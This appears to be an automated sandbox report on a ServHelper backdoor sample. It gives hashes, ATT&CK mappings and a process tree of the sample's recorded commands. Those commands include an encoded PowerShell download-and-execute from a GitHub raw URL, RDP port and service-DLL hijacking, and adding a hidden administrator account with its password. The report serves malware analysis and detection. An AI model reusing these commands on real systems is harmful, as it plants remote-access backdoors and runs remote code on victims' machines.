servhelper | 39f4d59b94d2b39408e4dc962fbf2e65a79b234b46a42c6b05856e60acf7f95b

Analysis

max time kernel
131s
max time network
123s
platform
windows7_x64
resource
win7v20210408
submitted
23-05-2021 07:05

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General

Target

4d4cb53955f998f339000039ebd0685b.exe
Size

6.0MB
MD5

4d4cb53955f998f339000039ebd0685b
SHA1

49218231e8ce8358683bca89a28e3f533bd25700
SHA256

39f4d59b94d2b39408e4dc962fbf2e65a79b234b46a42c6b05856e60acf7f95b
SHA512

651c27448bd488b9f2628bee4a05f4e25111882fffe398419815aa6239939bac8d39a3e951549acf084870d94c6461cc6c7e3e934f0049fcc7c80b69fbdab640

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1620	icacls.exe
1528	icacls.exe
944	icacls.exe
1788	icacls.exe
1964	icacls.exe
1748	icacls.exe
1428	icacls.exe
1584	takeown.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130e4-172.dat	upx
behavioral1/files/0x00050000000130e5-173.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
828	Process not Found
828	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
944	icacls.exe
1788	icacls.exe
1964	icacls.exe
1748	icacls.exe
1428	icacls.exe
1584	takeown.exe
1620	icacls.exe
1528	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L0Z0PNPYHM5H9C77IBEX.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2dfe6611-00df-458b-a333-1f507a8dbd57	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_17ff5749-5037-4e27-bd5e-87995cf79ac4	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9abc6d18-7f89-4900-9a25-40984b32dd4c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fab6d66b-973e-420f-adb4-9c762f916a3b	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_827552ef-a3d3-4104-838c-f7ad8de7de30	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b2644f72-b829-4aaa-9b8a-6d2723fdb30e	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b3481dcb-da1a-4020-95bc-36a5ec7df604	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_45e2f0eb-bdd4-4d49-9326-ab082a2938f8	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0c32beb2-5dc8-4ec7-95ca-65480e407c9b	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_345ffb17-9f68-4484-b717-3478a5a7a9a3	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_82db8337-99c6-43a6-b537-b14b596eda17	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a01ae36eb24fd701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
948	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1596	powershell.exe
1596	powershell.exe
1804	powershell.exe
1804	powershell.exe
1432	powershell.exe
1432	powershell.exe
1256	powershell.exe
1256	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1652	powershell.exe
1652	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
472	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	1256	powershell.exe
Token: SeRestorePrivilege	1528	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	556	WMIC.exe
Token: SeIncreaseQuotaPrivilege	556	WMIC.exe
Token: SeAuditPrivilege	556	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	556	WMIC.exe
Token: SeIncreaseQuotaPrivilege	556	WMIC.exe
Token: SeAuditPrivilege	556	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1536	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1536	WMIC.exe
Token: SeAuditPrivilege	1536	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1536	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1536	WMIC.exe
Token: SeAuditPrivilege	1536	WMIC.exe
Token: SeDebugPrivilege	1652	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 628 wrote to memory of 1596	628	4d4cb53955f998f339000039ebd0685b.exe	29
PID 628 wrote to memory of 1596	628	4d4cb53955f998f339000039ebd0685b.exe	29
PID 628 wrote to memory of 1596	628	4d4cb53955f998f339000039ebd0685b.exe	29
PID 1596 wrote to memory of 1804	1596	powershell.exe	31
PID 1596 wrote to memory of 1804	1596	powershell.exe	31
PID 1596 wrote to memory of 1804	1596	powershell.exe	31
PID 1596 wrote to memory of 1432	1596	powershell.exe	33
PID 1596 wrote to memory of 1432	1596	powershell.exe	33
PID 1596 wrote to memory of 1432	1596	powershell.exe	33
PID 1596 wrote to memory of 1256	1596	powershell.exe	35
PID 1596 wrote to memory of 1256	1596	powershell.exe	35
PID 1596 wrote to memory of 1256	1596	powershell.exe	35
PID 1596 wrote to memory of 1584	1596	powershell.exe	38
PID 1596 wrote to memory of 1584	1596	powershell.exe	38
PID 1596 wrote to memory of 1584	1596	powershell.exe	38
PID 1596 wrote to memory of 1620	1596	powershell.exe	39
PID 1596 wrote to memory of 1620	1596	powershell.exe	39
PID 1596 wrote to memory of 1620	1596	powershell.exe	39
PID 1596 wrote to memory of 1528	1596	powershell.exe	40
PID 1596 wrote to memory of 1528	1596	powershell.exe	40
PID 1596 wrote to memory of 1528	1596	powershell.exe	40
PID 1596 wrote to memory of 944	1596	powershell.exe	41
PID 1596 wrote to memory of 944	1596	powershell.exe	41
PID 1596 wrote to memory of 944	1596	powershell.exe	41
PID 1596 wrote to memory of 1788	1596	powershell.exe	42
PID 1596 wrote to memory of 1788	1596	powershell.exe	42
PID 1596 wrote to memory of 1788	1596	powershell.exe	42
PID 1596 wrote to memory of 1964	1596	powershell.exe	43
PID 1596 wrote to memory of 1964	1596	powershell.exe	43
PID 1596 wrote to memory of 1964	1596	powershell.exe	43
PID 1596 wrote to memory of 1748	1596	powershell.exe	44
PID 1596 wrote to memory of 1748	1596	powershell.exe	44
PID 1596 wrote to memory of 1748	1596	powershell.exe	44
PID 1596 wrote to memory of 1428	1596	powershell.exe	45
PID 1596 wrote to memory of 1428	1596	powershell.exe	45
PID 1596 wrote to memory of 1428	1596	powershell.exe	45
PID 1596 wrote to memory of 1712	1596	powershell.exe	46
PID 1596 wrote to memory of 1712	1596	powershell.exe	46
PID 1596 wrote to memory of 1712	1596	powershell.exe	46
PID 1596 wrote to memory of 948	1596	powershell.exe	47
PID 1596 wrote to memory of 948	1596	powershell.exe	47
PID 1596 wrote to memory of 948	1596	powershell.exe	47
PID 1596 wrote to memory of 1516	1596	powershell.exe	48
PID 1596 wrote to memory of 1516	1596	powershell.exe	48
PID 1596 wrote to memory of 1516	1596	powershell.exe	48
PID 1596 wrote to memory of 1552	1596	powershell.exe	49
PID 1596 wrote to memory of 1552	1596	powershell.exe	49
PID 1596 wrote to memory of 1552	1596	powershell.exe	49
PID 1552 wrote to memory of 1248	1552	net.exe	50
PID 1552 wrote to memory of 1248	1552	net.exe	50
PID 1552 wrote to memory of 1248	1552	net.exe	50
PID 1596 wrote to memory of 348	1596	powershell.exe	51
PID 1596 wrote to memory of 348	1596	powershell.exe	51
PID 1596 wrote to memory of 348	1596	powershell.exe	51
PID 348 wrote to memory of 1052	348	cmd.exe	52
PID 348 wrote to memory of 1052	348	cmd.exe	52
PID 348 wrote to memory of 1052	348	cmd.exe	52
PID 1052 wrote to memory of 1924	1052	cmd.exe	53
PID 1052 wrote to memory of 1924	1052	cmd.exe	53
PID 1052 wrote to memory of 1924	1052	cmd.exe	53
PID 1924 wrote to memory of 1984	1924	net.exe	54
PID 1924 wrote to memory of 1984	1924	net.exe	54
PID 1924 wrote to memory of 1984	1924	net.exe	54
PID 1596 wrote to memory of 2028	1596	powershell.exe	55

C:\Users\Admin\AppData\Local\Temp\4d4cb53955f998f339000039ebd0685b.exe
"C:\Users\Admin\AppData\Local\Temp\4d4cb53955f998f339000039ebd0685b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1256
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1584
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1620
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1528
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:944
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1788
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1964
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1748
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1428
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1712
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:948
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1516
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1552
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1248
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:348
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1052
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1924
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1984
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:2028
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1944
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:972
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1992
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1804
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1252

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1584
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1528
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:992

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc bI7yVrs7 /add
1⤵
PID:1548
- C:\Windows\system32\net.exe
  net.exe user wgautilacc bI7yVrs7 /add
  2⤵
  PID:1340
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc bI7yVrs7 /add
    3⤵
    PID:1652

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1500
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:288
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1060

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1832
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1608
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:348

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:960
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1496

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc bI7yVrs7
1⤵
PID:1848
- C:\Windows\system32\net.exe
  net.exe user wgautilacc bI7yVrs7
  2⤵
  PID:1964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc bI7yVrs7
    3⤵
    PID:1328

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2008
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:556

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1756
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1536

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:960
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1652

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/628-63-0x00000000411C6000-0x00000000411C7000-memory.dmp

Filesize
4KB

Download
memory/628-62-0x00000000411C4000-0x00000000411C6000-memory.dmp

Filesize
8KB

Download
memory/628-59-0x0000000041670000-0x0000000041A91000-memory.dmp

Filesize
4.1MB

Download
memory/628-64-0x00000000411C7000-0x00000000411C8000-memory.dmp

Filesize
4KB

Download
memory/628-61-0x00000000411C2000-0x00000000411C4000-memory.dmp

Filesize
8KB

Download
memory/1256-141-0x000000001A814000-0x000000001A816000-memory.dmp

Filesize
8KB

Download
memory/1256-140-0x000000001A810000-0x000000001A812000-memory.dmp

Filesize
8KB

Download
memory/1432-123-0x000000001B730000-0x000000001B731000-memory.dmp

Filesize
4KB

Download
memory/1432-119-0x00000000027F0000-0x00000000027F1000-memory.dmp

Filesize
4KB

Download
memory/1432-121-0x000000001A9C0000-0x000000001A9C1000-memory.dmp

Filesize
4KB

Download
memory/1432-126-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

Filesize
8KB

Download
memory/1432-124-0x0000000002500000-0x0000000002501000-memory.dmp

Filesize
4KB

Download
memory/1432-125-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

Filesize
8KB

Download
memory/1596-72-0x00000000024C0000-0x00000000024C1000-memory.dmp

Filesize
4KB

Download
memory/1596-76-0x000000001B6E0000-0x000000001B6E1000-memory.dmp

Filesize
4KB

Download
memory/1596-66-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmp

Filesize
8KB

Download
memory/1596-69-0x000000001A9F0000-0x000000001A9F2000-memory.dmp

Filesize
8KB

Download
memory/1596-78-0x000000001A9FA000-0x000000001AA19000-memory.dmp

Filesize
124KB

Download
memory/1596-149-0x000000001C5C0000-0x000000001C5C1000-memory.dmp

Filesize
4KB

Download
memory/1596-68-0x000000001AA70000-0x000000001AA71000-memory.dmp

Filesize
4KB

Download
memory/1596-71-0x0000000002410000-0x0000000002411000-memory.dmp

Filesize
4KB

Download
memory/1596-67-0x0000000002710000-0x0000000002711000-memory.dmp

Filesize
4KB

Download
memory/1596-74-0x000000001B590000-0x000000001B591000-memory.dmp

Filesize
4KB

Download
memory/1596-70-0x000000001A9F4000-0x000000001A9F6000-memory.dmp

Filesize
8KB

Download
memory/1596-77-0x000000001B760000-0x000000001B761000-memory.dmp

Filesize
4KB

Download
memory/1596-79-0x000000001B7F0000-0x000000001B7F1000-memory.dmp

Filesize
4KB

Download
memory/1652-200-0x0000000019574000-0x0000000019576000-memory.dmp

Filesize
8KB

Download
memory/1652-202-0x000000001957A000-0x0000000019599000-memory.dmp

Filesize
124KB

Download
memory/1652-199-0x0000000019570000-0x0000000019572000-memory.dmp

Filesize
8KB

Download
memory/1804-88-0x0000000002450000-0x0000000002451000-memory.dmp

Filesize
4KB

Download
memory/1804-90-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

Filesize
4KB

Download
memory/1804-86-0x000000001ACC4000-0x000000001ACC6000-memory.dmp

Filesize
8KB

Download
memory/1804-111-0x000000001B760000-0x000000001B761000-memory.dmp

Filesize
4KB

Download
memory/1804-112-0x000000001B770000-0x000000001B771000-memory.dmp

Filesize
4KB

Download
memory/1804-85-0x000000001ACC0000-0x000000001ACC2000-memory.dmp

Filesize
8KB

Download
memory/1804-92-0x00000000026D0000-0x00000000026D1000-memory.dmp

Filesize
4KB

Download
memory/1804-93-0x0000000002630000-0x0000000002631000-memory.dmp

Filesize
4KB

Download
memory/1804-98-0x000000001B720000-0x000000001B721000-memory.dmp

Filesize
4KB

Download